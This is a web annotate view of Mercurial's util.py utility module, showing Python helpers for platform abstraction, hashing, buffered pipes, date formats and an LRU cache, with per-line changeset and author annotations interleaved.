Mercurial > hg
annotate mercurial/util.py @ 35204:d4b108fdf423
py3: use encoding.strtolocal() to convert string to bytes
Differential Revision: https://phab.mercurial-scm.org/D1557
author | Pulkit Goyal <7895pulkit@gmail.com> |
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date | Wed, 29 Nov 2017 08:40:25 +0530 |
parents | 25c543944bc0 |
children | 8652ab4046e4 |
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17515 | 1 # util.py - Mercurial utility functions and platform specific implementations |
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2 # |
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3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com> |
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4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
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5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> |
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6 # |
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7 # This software may be used and distributed according to the terms of the |
10263 | 8 # GNU General Public License version 2 or any later version. |
1082 | 9 |
17515 | 10 """Mercurial utility functions and platform specific implementations. |
1082 | 11 |
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12 This contains helper routines that are independent of the SCM core and |
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13 hide platform-specific details from the core. |
1082 | 14 """ |
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15 |
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16 from __future__ import absolute_import, print_function |
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17 |
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18 import abc |
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19 import bz2 |
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20 import calendar |
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21 import codecs |
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22 import collections |
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23 import contextlib |
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24 import datetime |
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25 import errno |
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26 import gc |
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27 import hashlib |
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28 import imp |
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29 import itertools |
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30 import mmap |
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31 import os |
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32 import platform as pyplatform |
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33 import re as remod |
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34 import shutil |
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35 import signal |
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36 import socket |
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37 import stat |
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38 import string |
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39 import subprocess |
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40 import sys |
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41 import tempfile |
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42 import textwrap |
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43 import time |
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44 import traceback |
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45 import warnings |
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46 import zlib |
3769 | 47 |
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48 from . import ( |
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49 encoding, |
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50 error, |
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51 i18n, |
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52 policy, |
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53 pycompat, |
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54 urllibcompat, |
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55 ) |
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57 base85 = policy.importmod(r'base85') |
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58 osutil = policy.importmod(r'osutil') |
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59 parsers = policy.importmod(r'parsers') |
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60 |
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61 b85decode = base85.b85decode |
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62 b85encode = base85.b85encode |
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63 |
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64 cookielib = pycompat.cookielib |
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65 empty = pycompat.empty |
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66 httplib = pycompat.httplib |
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67 pickle = pycompat.pickle |
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68 queue = pycompat.queue |
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69 socketserver = pycompat.socketserver |
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70 stderr = pycompat.stderr |
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71 stdin = pycompat.stdin |
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72 stdout = pycompat.stdout |
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73 stringio = pycompat.stringio |
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74 xmlrpclib = pycompat.xmlrpclib |
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75 |
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76 httpserver = urllibcompat.httpserver |
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77 urlerr = urllibcompat.urlerr |
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78 urlreq = urllibcompat.urlreq |
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79 |
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80 # workaround for win32mbcs |
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81 _filenamebytestr = pycompat.bytestr |
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82 |
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83 def isatty(fp): |
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84 try: |
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85 return fp.isatty() |
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86 except AttributeError: |
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87 return False |
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88 |
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89 # glibc determines buffering on first write to stdout - if we replace a TTY |
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90 # destined stdout with a pipe destined stdout (e.g. pager), we want line |
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91 # buffering |
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92 if isatty(stdout): |
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93 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1) |
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94 |
34645 | 95 if pycompat.iswindows: |
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96 from . import windows as platform |
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97 stdout = platform.winstdout(stdout) |
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98 else: |
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99 from . import posix as platform |
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100 |
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101 _ = i18n._ |
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102 |
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103 bindunixsocket = platform.bindunixsocket |
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104 cachestat = platform.cachestat |
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105 checkexec = platform.checkexec |
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106 checklink = platform.checklink |
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107 copymode = platform.copymode |
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108 executablepath = platform.executablepath |
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109 expandglobs = platform.expandglobs |
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110 explainexit = platform.explainexit |
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111 findexe = platform.findexe |
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112 gethgcmd = platform.gethgcmd |
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113 getuser = platform.getuser |
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114 getpid = os.getpid |
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115 groupmembers = platform.groupmembers |
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116 groupname = platform.groupname |
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117 hidewindow = platform.hidewindow |
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118 isexec = platform.isexec |
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119 isowner = platform.isowner |
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120 listdir = osutil.listdir |
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121 localpath = platform.localpath |
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122 lookupreg = platform.lookupreg |
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123 makedir = platform.makedir |
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124 nlinks = platform.nlinks |
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125 normpath = platform.normpath |
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126 normcase = platform.normcase |
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127 normcasespec = platform.normcasespec |
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128 normcasefallback = platform.normcasefallback |
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129 openhardlinks = platform.openhardlinks |
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130 oslink = platform.oslink |
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131 parsepatchoutput = platform.parsepatchoutput |
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132 pconvert = platform.pconvert |
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133 poll = platform.poll |
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134 popen = platform.popen |
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135 posixfile = platform.posixfile |
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136 quotecommand = platform.quotecommand |
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137 readpipe = platform.readpipe |
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138 rename = platform.rename |
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139 removedirs = platform.removedirs |
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140 samedevice = platform.samedevice |
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141 samefile = platform.samefile |
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142 samestat = platform.samestat |
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143 setbinary = platform.setbinary |
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144 setflags = platform.setflags |
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145 setsignalhandler = platform.setsignalhandler |
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146 shellquote = platform.shellquote |
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147 spawndetached = platform.spawndetached |
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148 split = platform.split |
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149 sshargs = platform.sshargs |
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150 statfiles = getattr(osutil, 'statfiles', platform.statfiles) |
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151 statisexec = platform.statisexec |
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152 statislink = platform.statislink |
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153 testpid = platform.testpid |
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154 umask = platform.umask |
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155 unlink = platform.unlink |
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156 username = platform.username |
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157 |
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158 try: |
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159 recvfds = osutil.recvfds |
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160 except AttributeError: |
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161 pass |
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162 try: |
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163 setprocname = osutil.setprocname |
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164 except AttributeError: |
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165 pass |
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166 |
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167 # Python compatibility |
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169 _notset = object() |
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170 |
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171 # disable Python's problematic floating point timestamps (issue4836) |
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172 # (Python hypocritically says you shouldn't change this behavior in |
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173 # libraries, and sure enough Mercurial is not a library.) |
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174 os.stat_float_times(False) |
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175 |
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176 def safehasattr(thing, attr): |
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177 return getattr(thing, attr, _notset) is not _notset |
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178 |
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179 def bytesinput(fin, fout, *args, **kwargs): |
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180 sin, sout = sys.stdin, sys.stdout |
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181 try: |
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182 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout) |
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183 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs)) |
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184 finally: |
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185 sys.stdin, sys.stdout = sin, sout |
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186 |
30745 | 187 def bitsfrom(container): |
188 bits = 0 | |
189 for bit in container: | |
190 bits |= bit | |
191 return bits | |
192 | |
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193 # python 2.6 still have deprecation warning enabled by default. We do not want |
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194 # to display anything to standard user so detect if we are running test and |
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195 # only use python deprecation warning in this case. |
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196 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS')) |
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197 if _dowarn: |
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198 # explicitly unfilter our warning for python 2.7 |
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199 # |
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200 # The option of setting PYTHONWARNINGS in the test runner was investigated. |
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201 # However, module name set through PYTHONWARNINGS was exactly matched, so |
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202 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This |
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203 # makes the whole PYTHONWARNINGS thing useless for our usecase. |
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204 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial') |
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205 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext') |
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206 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd') |
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207 |
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208 def nouideprecwarn(msg, version, stacklevel=1): |
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209 """Issue an python native deprecation warning |
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210 |
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211 This is a noop outside of tests, use 'ui.deprecwarn' when possible. |
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212 """ |
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213 if _dowarn: |
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214 msg += ("\n(compatibility will be dropped after Mercurial-%s," |
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215 " update your code.)") % version |
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216 warnings.warn(msg, DeprecationWarning, stacklevel + 1) |
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217 |
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218 DIGESTS = { |
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219 'md5': hashlib.md5, |
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220 'sha1': hashlib.sha1, |
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221 'sha512': hashlib.sha512, |
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222 } |
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223 # List of digest types from strongest to weakest |
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224 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5'] |
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225 |
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226 for k in DIGESTS_BY_STRENGTH: |
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227 assert k in DIGESTS |
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228 |
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229 class digester(object): |
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230 """helper to compute digests. |
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231 |
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232 This helper can be used to compute one or more digests given their name. |
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233 |
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234 >>> d = digester([b'md5', b'sha1']) |
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235 >>> d.update(b'foo') |
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236 >>> [k for k in sorted(d)] |
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237 ['md5', 'sha1'] |
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238 >>> d[b'md5'] |
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239 'acbd18db4cc2f85cedef654fccc4a4d8' |
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240 >>> d[b'sha1'] |
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241 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' |
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242 >>> digester.preferred([b'md5', b'sha1']) |
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243 'sha1' |
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244 """ |
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245 |
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246 def __init__(self, digests, s=''): |
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247 self._hashes = {} |
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248 for k in digests: |
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249 if k not in DIGESTS: |
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250 raise Abort(_('unknown digest type: %s') % k) |
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251 self._hashes[k] = DIGESTS[k]() |
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252 if s: |
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253 self.update(s) |
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254 |
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255 def update(self, data): |
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256 for h in self._hashes.values(): |
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257 h.update(data) |
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258 |
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259 def __getitem__(self, key): |
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260 if key not in DIGESTS: |
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261 raise Abort(_('unknown digest type: %s') % k) |
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262 return self._hashes[key].hexdigest() |
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263 |
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264 def __iter__(self): |
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265 return iter(self._hashes) |
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266 |
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267 @staticmethod |
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268 def preferred(supported): |
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269 """returns the strongest digest type in both supported and DIGESTS.""" |
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270 |
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271 for k in DIGESTS_BY_STRENGTH: |
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272 if k in supported: |
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273 return k |
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274 return None |
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275 |
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276 class digestchecker(object): |
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277 """file handle wrapper that additionally checks content against a given |
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278 size and digests. |
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279 |
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280 d = digestchecker(fh, size, {'md5': '...'}) |
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281 |
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282 When multiple digests are given, all of them are validated. |
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283 """ |
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284 |
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285 def __init__(self, fh, size, digests): |
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286 self._fh = fh |
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287 self._size = size |
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288 self._got = 0 |
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289 self._digests = dict(digests) |
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290 self._digester = digester(self._digests.keys()) |
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291 |
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292 def read(self, length=-1): |
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293 content = self._fh.read(length) |
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294 self._digester.update(content) |
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295 self._got += len(content) |
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296 return content |
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297 |
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298 def validate(self): |
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299 if self._size != self._got: |
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300 raise Abort(_('size mismatch: expected %d, got %d') % |
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301 (self._size, self._got)) |
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302 for k, v in self._digests.items(): |
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303 if v != self._digester[k]: |
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304 # i18n: first parameter is a digest name |
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305 raise Abort(_('%s mismatch: expected %s, got %s') % |
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306 (k, v, self._digester[k])) |
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307 |
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308 try: |
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309 buffer = buffer |
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310 except NameError: |
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311 def buffer(sliceable, offset=0, length=None): |
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312 if length is not None: |
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313 return memoryview(sliceable)[offset:offset + length] |
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314 return memoryview(sliceable)[offset:] |
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315 |
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317 |
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318 _chunksize = 4096 |
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319 |
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320 class bufferedinputpipe(object): |
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321 """a manually buffered input pipe |
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322 |
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323 Python will not let us use buffered IO and lazy reading with 'polling' at |
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324 the same time. We cannot probe the buffer state and select will not detect |
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325 that data are ready to read if they are already buffered. |
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326 |
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327 This class let us work around that by implementing its own buffering |
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328 (allowing efficient readline) while offering a way to know if the buffer is |
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329 empty from the output (allowing collaboration of the buffer with polling). |
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330 |
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331 This class lives in the 'util' module because it makes use of the 'os' |
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332 module from the python stdlib. |
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333 """ |
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334 |
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335 def __init__(self, input): |
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336 self._input = input |
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337 self._buffer = [] |
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338 self._eof = False |
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339 self._lenbuf = 0 |
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340 |
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341 @property |
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342 def hasbuffer(self): |
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343 """True is any data is currently buffered |
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344 |
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345 This will be used externally a pre-step for polling IO. If there is |
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346 already data then no polling should be set in place.""" |
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347 return bool(self._buffer) |
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348 |
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349 @property |
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350 def closed(self): |
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351 return self._input.closed |
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352 |
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353 def fileno(self): |
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354 return self._input.fileno() |
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355 |
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356 def close(self): |
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357 return self._input.close() |
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358 |
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359 def read(self, size): |
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360 while (not self._eof) and (self._lenbuf < size): |
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361 self._fillbuffer() |
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362 return self._frombuffer(size) |
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363 |
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364 def readline(self, *args, **kwargs): |
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365 if 1 < len(self._buffer): |
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366 # this should not happen because both read and readline end with a |
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367 # _frombuffer call that collapse it. |
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368 self._buffer = [''.join(self._buffer)] |
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369 self._lenbuf = len(self._buffer[0]) |
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370 lfi = -1 |
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371 if self._buffer: |
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372 lfi = self._buffer[-1].find('\n') |
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373 while (not self._eof) and lfi < 0: |
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374 self._fillbuffer() |
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375 if self._buffer: |
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376 lfi = self._buffer[-1].find('\n') |
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377 size = lfi + 1 |
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378 if lfi < 0: # end of file |
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379 size = self._lenbuf |
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380 elif 1 < len(self._buffer): |
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381 # we need to take previous chunks into account |
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382 size += self._lenbuf - len(self._buffer[-1]) |
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383 return self._frombuffer(size) |
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384 |
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385 def _frombuffer(self, size): |
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386 """return at most 'size' data from the buffer |
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387 |
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388 The data are removed from the buffer.""" |
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389 if size == 0 or not self._buffer: |
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390 return '' |
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391 buf = self._buffer[0] |
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392 if 1 < len(self._buffer): |
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393 buf = ''.join(self._buffer) |
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394 |
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395 data = buf[:size] |
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396 buf = buf[len(data):] |
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397 if buf: |
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398 self._buffer = [buf] |
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399 self._lenbuf = len(buf) |
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400 else: |
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401 self._buffer = [] |
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402 self._lenbuf = 0 |
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403 return data |
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404 |
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405 def _fillbuffer(self): |
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406 """read data to the buffer""" |
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407 data = os.read(self._input.fileno(), _chunksize) |
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408 if not data: |
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409 self._eof = True |
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410 else: |
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411 self._lenbuf += len(data) |
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412 self._buffer.append(data) |
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413 |
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414 def mmapread(fp): |
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415 try: |
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416 fd = getattr(fp, 'fileno', lambda: fp)() |
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417 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ) |
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418 except ValueError: |
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419 # Empty files cannot be mmapped, but mmapread should still work. Check |
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420 # if the file is empty, and if so, return an empty buffer. |
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421 if os.fstat(fd).st_size == 0: |
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422 return '' |
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423 raise |
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424 |
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425 def popen2(cmd, env=None, newlines=False): |
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426 # Setting bufsize to -1 lets the system decide the buffer size. |
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427 # The default for bufsize is 0, meaning unbuffered. This leads to |
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428 # poor performance on Mac OS X: http://bugs.python.org/issue4194 |
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429 p = subprocess.Popen(cmd, shell=True, bufsize=-1, |
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430 close_fds=closefds, |
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431 stdin=subprocess.PIPE, stdout=subprocess.PIPE, |
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432 universal_newlines=newlines, |
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433 env=env) |
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434 return p.stdin, p.stdout |
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435 |
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436 def popen3(cmd, env=None, newlines=False): |
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437 stdin, stdout, stderr, p = popen4(cmd, env, newlines) |
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438 return stdin, stdout, stderr |
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439 |
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440 def popen4(cmd, env=None, newlines=False, bufsize=-1): |
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441 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize, |
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442 close_fds=closefds, |
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443 stdin=subprocess.PIPE, stdout=subprocess.PIPE, |
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444 stderr=subprocess.PIPE, |
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445 universal_newlines=newlines, |
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446 env=env) |
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447 return p.stdin, p.stdout, p.stderr, p |
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448 |
7632 | 449 def version(): |
450 """Return version information if available.""" | |
451 try: | |
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452 from . import __version__ |
7632 | 453 return __version__.version |
454 except ImportError: | |
455 return 'unknown' | |
456 | |
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457 def versiontuple(v=None, n=4): |
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458 """Parses a Mercurial version string into an N-tuple. |
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459 |
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460 The version string to be parsed is specified with the ``v`` argument. |
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461 If it isn't defined, the current Mercurial version string will be parsed. |
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462 |
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463 ``n`` can be 2, 3, or 4. Here is how some version strings map to |
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464 returned values: |
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465 |
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466 >>> v = b'3.6.1+190-df9b73d2d444' |
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467 >>> versiontuple(v, 2) |
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468 (3, 6) |
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469 >>> versiontuple(v, 3) |
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470 (3, 6, 1) |
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471 >>> versiontuple(v, 4) |
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472 (3, 6, 1, '190-df9b73d2d444') |
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473 |
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474 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118') |
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475 (3, 6, 1, '190-df9b73d2d444+20151118') |
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476 |
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477 >>> v = b'3.6' |
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478 >>> versiontuple(v, 2) |
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479 (3, 6) |
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480 >>> versiontuple(v, 3) |
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481 (3, 6, None) |
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482 >>> versiontuple(v, 4) |
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483 (3, 6, None, None) |
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484 |
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485 >>> v = b'3.9-rc' |
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486 >>> versiontuple(v, 2) |
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487 (3, 9) |
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488 >>> versiontuple(v, 3) |
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489 (3, 9, None) |
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490 >>> versiontuple(v, 4) |
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491 (3, 9, None, 'rc') |
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492 |
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493 >>> v = b'3.9-rc+2-02a8fea4289b' |
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494 >>> versiontuple(v, 2) |
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495 (3, 9) |
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496 >>> versiontuple(v, 3) |
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497 (3, 9, None) |
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498 >>> versiontuple(v, 4) |
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499 (3, 9, None, 'rc+2-02a8fea4289b') |
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500 """ |
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501 if not v: |
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502 v = version() |
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503 parts = remod.split('[\+-]', v, 1) |
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504 if len(parts) == 1: |
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505 vparts, extra = parts[0], None |
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506 else: |
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507 vparts, extra = parts |
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508 |
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509 vints = [] |
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510 for i in vparts.split('.'): |
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511 try: |
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512 vints.append(int(i)) |
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513 except ValueError: |
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514 break |
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515 # (3, 6) -> (3, 6, None) |
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516 while len(vints) < 3: |
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517 vints.append(None) |
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518 |
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519 if n == 2: |
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520 return (vints[0], vints[1]) |
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521 if n == 3: |
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522 return (vints[0], vints[1], vints[2]) |
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523 if n == 4: |
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524 return (vints[0], vints[1], vints[2], extra) |
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525 |
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526 # used by parsedate |
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527 defaultdateformats = ( |
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528 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601 |
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529 '%Y-%m-%dT%H:%M', # without seconds |
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530 '%Y-%m-%dT%H%M%S', # another awful but legal variant without : |
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531 '%Y-%m-%dT%H%M', # without seconds |
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532 '%Y-%m-%d %H:%M:%S', # our common legal variant |
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533 '%Y-%m-%d %H:%M', # without seconds |
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534 '%Y-%m-%d %H%M%S', # without : |
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535 '%Y-%m-%d %H%M', # without seconds |
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536 '%Y-%m-%d %I:%M:%S%p', |
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537 '%Y-%m-%d %H:%M', |
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538 '%Y-%m-%d %I:%M%p', |
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539 '%Y-%m-%d', |
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540 '%m-%d', |
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541 '%m/%d', |
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542 '%m/%d/%y', |
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543 '%m/%d/%Y', |
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544 '%a %b %d %H:%M:%S %Y', |
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545 '%a %b %d %I:%M:%S%p %Y', |
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01f9ee4de1ad
Add support for RFC2822 to util.parsedate().
Markus F.X.J. Oberhumer <markus@oberhumer.com>
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|
546 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822" |
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547 '%b %d %H:%M:%S %Y', |
3812 | 548 '%b %d %I:%M:%S%p %Y', |
549 '%b %d %H:%M:%S', | |
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550 '%b %d %I:%M:%S%p', |
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551 '%b %d %H:%M', |
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552 '%b %d %I:%M%p', |
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553 '%b %d %Y', |
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554 '%b %d', |
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|
555 '%H:%M:%S', |
9383
7116494c48ab
util: Fix date format for 12-hour time.
Carey Evans <carey@carey.geek.nz>
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diff
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|
556 '%I:%M:%S%p', |
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557 '%H:%M', |
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558 '%I:%M%p', |
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|
559 ) |
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|
560 |
3812 | 561 extendeddateformats = defaultdateformats + ( |
562 "%Y", | |
563 "%Y-%m", | |
564 "%b", | |
565 "%b %Y", | |
566 ) | |
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|
567 |
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|
568 def cachefunc(func): |
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|
569 '''cache the result of function calls''' |
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Benoit Boissinot <benoit.boissinot@ens-lyon.org>
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|
570 # XXX doesn't handle keywords args |
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util: use __code__ (available since py2.6)
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|
571 if func.__code__.co_argcount == 0: |
20835
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572 cache = [] |
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573 def f(): |
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574 if len(cache) == 0: |
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575 cache.append(func()) |
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576 return cache[0] |
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|
577 return f |
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|
578 cache = {} |
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579 if func.__code__.co_argcount == 1: |
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580 # we gain a small amount of time because |
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|
581 # we don't need to pack/unpack the list |
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582 def f(arg): |
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|
583 if arg not in cache: |
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584 cache[arg] = func(arg) |
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585 return cache[arg] |
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586 else: |
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587 def f(*args): |
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588 if args not in cache: |
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589 cache[args] = func(*args) |
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590 return cache[args] |
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591 |
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592 return f |
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|
593 |
34357
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|
594 class cow(object): |
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|
595 """helper class to make copy-on-write easier |
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|
596 |
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|
597 Call preparewrite before doing any writes. |
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|
598 """ |
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|
599 |
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|
600 def preparewrite(self): |
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|
601 """call this before writes, return self or a copied new object""" |
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|
602 if getattr(self, '_copied', 0): |
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diff
changeset
|
603 self._copied -= 1 |
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changeset
|
604 return self.__class__(self) |
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605 return self |
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606 |
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607 def copy(self): |
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608 """always do a cheap copy""" |
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609 self._copied = getattr(self, '_copied', 0) + 1 |
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610 return self |
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611 |
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612 class sortdict(collections.OrderedDict): |
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613 '''a simple sorted dictionary |
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614 |
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615 >>> d1 = sortdict([(b'a', 0), (b'b', 1)]) |
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616 >>> d2 = d1.copy() |
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617 >>> d2 |
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618 sortdict([('a', 0), ('b', 1)]) |
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619 >>> d2.update([(b'a', 2)]) |
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620 >>> list(d2.keys()) # should still be in last-set order |
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621 ['b', 'a'] |
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622 ''' |
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623 |
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624 def __setitem__(self, key, value): |
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625 if key in self: |
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626 del self[key] |
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627 super(sortdict, self).__setitem__(key, value) |
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628 |
33626
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629 if pycompat.ispypy: |
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630 # __setitem__() isn't called as of PyPy 5.8.0 |
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631 def update(self, src): |
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632 if isinstance(src, dict): |
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633 src = src.iteritems() |
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634 for k, v in src: |
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635 self[k] = v |
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636 |
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637 class cowdict(cow, dict): |
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638 """copy-on-write dict |
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639 |
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640 Be sure to call d = d.preparewrite() before writing to d. |
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641 |
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642 >>> a = cowdict() |
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643 >>> a is a.preparewrite() |
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644 True |
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645 >>> b = a.copy() |
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646 >>> b is a |
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647 True |
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648 >>> c = b.copy() |
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649 >>> c is a |
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650 True |
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651 >>> a = a.preparewrite() |
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652 >>> b is a |
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653 False |
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654 >>> a is a.preparewrite() |
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655 True |
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656 >>> c = c.preparewrite() |
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657 >>> b is c |
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658 False |
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659 >>> b is b.preparewrite() |
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660 True |
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661 """ |
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662 |
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663 class cowsortdict(cow, sortdict): |
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664 """copy-on-write sortdict |
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665 |
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666 Be sure to call d = d.preparewrite() before writing to d. |
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667 """ |
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668 |
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669 class transactional(object): |
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670 """Base class for making a transactional type into a context manager.""" |
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671 __metaclass__ = abc.ABCMeta |
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672 |
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673 @abc.abstractmethod |
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674 def close(self): |
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675 """Successfully closes the transaction.""" |
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676 |
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677 @abc.abstractmethod |
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678 def release(self): |
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679 """Marks the end of the transaction. |
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680 |
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681 If the transaction has not been closed, it will be aborted. |
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682 """ |
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683 |
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684 def __enter__(self): |
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685 return self |
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686 |
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687 def __exit__(self, exc_type, exc_val, exc_tb): |
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688 try: |
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689 if exc_type is None: |
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690 self.close() |
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691 finally: |
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692 self.release() |
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693 |
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694 @contextlib.contextmanager |
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695 def acceptintervention(tr=None): |
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696 """A context manager that closes the transaction on InterventionRequired |
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697 |
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698 If no transaction was provided, this simply runs the body and returns |
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699 """ |
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700 if not tr: |
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|
701 yield |
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|
702 return |
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|
703 try: |
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704 yield |
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|
705 tr.close() |
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706 except error.InterventionRequired: |
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707 tr.close() |
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|
708 raise |
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709 finally: |
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710 tr.release() |
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|
711 |
33619
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712 @contextlib.contextmanager |
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713 def nullcontextmanager(): |
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714 yield |
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|
715 |
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|
716 class _lrucachenode(object): |
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717 """A node in a doubly linked list. |
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718 |
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719 Holds a reference to nodes on either side as well as a key-value |
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720 pair for the dictionary entry. |
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721 """ |
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722 __slots__ = (u'next', u'prev', u'key', u'value') |
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723 |
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724 def __init__(self): |
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725 self.next = None |
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726 self.prev = None |
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727 |
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728 self.key = _notset |
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729 self.value = None |
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730 |
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731 def markempty(self): |
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732 """Mark the node as emptied.""" |
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733 self.key = _notset |
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734 |
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735 class lrucachedict(object): |
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736 """Dict that caches most recent accesses and sets. |
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737 |
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738 The dict consists of an actual backing dict - indexed by original |
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739 key - and a doubly linked circular list defining the order of entries in |
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740 the cache. |
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741 |
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742 The head node is the newest entry in the cache. If the cache is full, |
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743 we recycle head.prev and make it the new head. Cache accesses result in |
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744 the node being moved to before the existing head and being marked as the |
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745 new head node. |
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746 """ |
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747 def __init__(self, max): |
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748 self._cache = {} |
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749 |
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750 self._head = head = _lrucachenode() |
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751 head.prev = head |
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752 head.next = head |
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753 self._size = 1 |
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754 self._capacity = max |
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755 |
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756 def __len__(self): |
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757 return len(self._cache) |
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758 |
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759 def __contains__(self, k): |
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760 return k in self._cache |
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761 |
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762 def __iter__(self): |
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763 # We don't have to iterate in cache order, but why not. |
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764 n = self._head |
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765 for i in range(len(self._cache)): |
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766 yield n.key |
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767 n = n.next |
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768 |
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769 def __getitem__(self, k): |
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770 node = self._cache[k] |
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771 self._movetohead(node) |
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772 return node.value |
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773 |
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774 def __setitem__(self, k, v): |
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775 node = self._cache.get(k) |
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776 # Replace existing value and mark as newest. |
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777 if node is not None: |
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778 node.value = v |
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779 self._movetohead(node) |
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780 return |
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781 |
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782 if self._size < self._capacity: |
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783 node = self._addcapacity() |
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784 else: |
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785 # Grab the last/oldest item. |
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786 node = self._head.prev |
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787 |
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788 # At capacity. Kill the old entry. |
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789 if node.key is not _notset: |
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790 del self._cache[node.key] |
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791 |
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792 node.key = k |
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793 node.value = v |
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794 self._cache[k] = node |
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795 # And mark it as newest entry. No need to adjust order since it |
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796 # is already self._head.prev. |
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797 self._head = node |
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798 |
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799 def __delitem__(self, k): |
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800 node = self._cache.pop(k) |
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801 node.markempty() |
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802 |
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803 # Temporarily mark as newest item before re-adjusting head to make |
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804 # this node the oldest item. |
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805 self._movetohead(node) |
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806 self._head = node.next |
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807 |
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808 # Additional dict methods. |
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809 |
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810 def get(self, k, default=None): |
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811 try: |
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812 return self._cache[k].value |
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813 except KeyError: |
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814 return default |
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815 |
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816 def clear(self): |
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817 n = self._head |
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818 while n.key is not _notset: |
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819 n.markempty() |
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820 n = n.next |
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821 |
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822 self._cache.clear() |
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823 |
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824 def copy(self): |
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825 result = lrucachedict(self._capacity) |
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826 n = self._head.prev |
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827 # Iterate in oldest-to-newest order, so the copy has the right ordering |
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828 for i in range(len(self._cache)): |
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829 result[n.key] = n.value |
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830 n = n.prev |
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831 return result |
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832 |
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833 def _movetohead(self, node): |
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834 """Mark a node as the newest, making it the new head. |
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835 |
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836 When a node is accessed, it becomes the freshest entry in the LRU |
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837 list, which is denoted by self._head. |
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838 |
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839 Visually, let's make ``N`` the new head node (* denotes head): |
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840 |
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841 previous/oldest <-> head <-> next/next newest |
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842 |
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843 ----<->--- A* ---<->----- |
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844 | | |
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845 E <-> D <-> N <-> C <-> B |
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846 |
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847 To: |
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848 |
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849 ----<->--- N* ---<->----- |
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850 | | |
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851 E <-> D <-> C <-> B <-> A |
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|
852 |
45d996a566d7
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diff
changeset
|
853 This requires the following moves: |
45d996a566d7
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diff
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|
854 |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
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|
855 C.next = D (node.prev.next = node.next) |
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parents:
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diff
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|
856 D.prev = C (node.next.prev = node.prev) |
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parents:
27363
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857 E.next = N (head.prev.next = node) |
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Gregory Szorc <gregory.szorc@gmail.com>
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858 N.prev = E (node.prev = head.prev) |
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parents:
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|
859 N.next = A (node.next = head) |
45d996a566d7
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parents:
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diff
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|
860 A.prev = N (head.prev = node) |
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parents:
27363
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|
861 """ |
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parents:
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|
862 head = self._head |
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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|
863 # C.next = D |
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Gregory Szorc <gregory.szorc@gmail.com>
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|
864 node.prev.next = node.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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|
865 # D.prev = C |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
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|
866 node.next.prev = node.prev |
45d996a566d7
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parents:
27363
diff
changeset
|
867 # N.prev = E |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
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|
868 node.prev = head.prev |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
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|
869 # N.next = A |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
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|
870 # It is tempting to do just "head" here, however if node is |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
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|
871 # adjacent to head, this will do bad things. |
45d996a566d7
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parents:
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diff
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|
872 node.next = head.prev.next |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
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|
873 # E.next = N |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
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|
874 node.next.prev = node |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
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|
875 # A.prev = N |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
876 node.prev.next = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
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|
877 |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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|
878 self._head = node |
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
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|
879 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
880 def _addcapacity(self): |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
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|
881 """Add a node to the circular linked list. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
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|
882 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
883 The new node is inserted before the head node. |
45d996a566d7
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parents:
27363
diff
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|
884 """ |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
885 head = self._head |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
886 node = _lrucachenode() |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
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|
887 head.prev.next = node |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
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|
888 node.prev = head.prev |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
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|
889 node.next = head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
890 head.prev = node |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
891 self._size += 1 |
45d996a566d7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
892 return node |
19710
887ffa22fd0d
lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents:
19461
diff
changeset
|
893 |
9097
431462bd8478
